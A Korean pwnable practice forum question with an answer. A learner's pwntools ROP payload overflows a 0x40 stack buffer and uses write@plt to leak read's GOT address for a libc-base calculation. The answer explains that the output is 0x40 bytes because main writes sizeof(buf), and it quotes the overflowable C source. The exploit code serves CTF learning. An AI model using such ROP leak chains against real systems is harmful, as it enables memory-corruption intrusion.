payload 구성 중 read_got를 받아오는 과정에서 b'A'의 개수에 대한 질문
buf = b'A'*0x48

# write(1, read_got, 8)
buf += p64(pop_rdi) + p64(1)
buf += p64(pop_rsi_r15) + p64(read_got) + p64(8)
buf += p64(write_plt)
buf += p64(main) #? 와이

p.send(buf)

p.recvuntil(b'A'*0x40)
read = u64(p.recvn(6) + b'\x00'*2)

위를 통해 처음 단계에서 buf 구성에 write_plt를 통해 read_got를 출력하고 read의 주소를 받아오는 과정의 payload를 작성했습니다. 이를 통해 libc_base를 구하고 그 후의 동작을 완성시키는 코드가 더 있는데 위 코드 부분에서 궁금증이 생겼습니다.

[질문]
buf = b'A'*0x48 을 통해 stack에서 ret 직전까지를 무의미한 dummy값으로 덮고 난 후에 payload를 통해 write를 실행시켰습니다.
그러나 이후 받을 때는 b'A'*0x40 만큼만 받고 난 후에 나오는 값이 바로 read의 주소가 되는 것을 확인하였습니다.
처음 보낼때는 dummy값을 0x48만큼 보냈었는데 왜 다 구성하고 받을 때는 0x40만큼만 받고 난 후에 read_got값이 나오는지 궁금합니다!! 0x8만큼의 dummy값이 어디로 갔는지 모르겠습니다 도와주세요ㅠㅠ

#pwnable
작성자 정보
답변 1

Q: 0x48만큼 입력했는데 왜 0x40만큼만 recvuntil()하는지 모르겠다.
A: main함수를 보면 알수있습니다.
write 함수가 출력을 sizeof(buf)에 의해 buf의 사이즈만큼 출력하는 걸 알 수 있습니다.
그래서 아무리 많이 입력해도 0x40만큼 출력되고, 출력되는 임이의 값(dummy)을 받고 그다음에 leak 되는 주소를 받게 됩니다.

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf)); //write(1, buf, 0x40) 으로 생각해야한다.

    return 0;
}
2024.09.26. 00:52
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기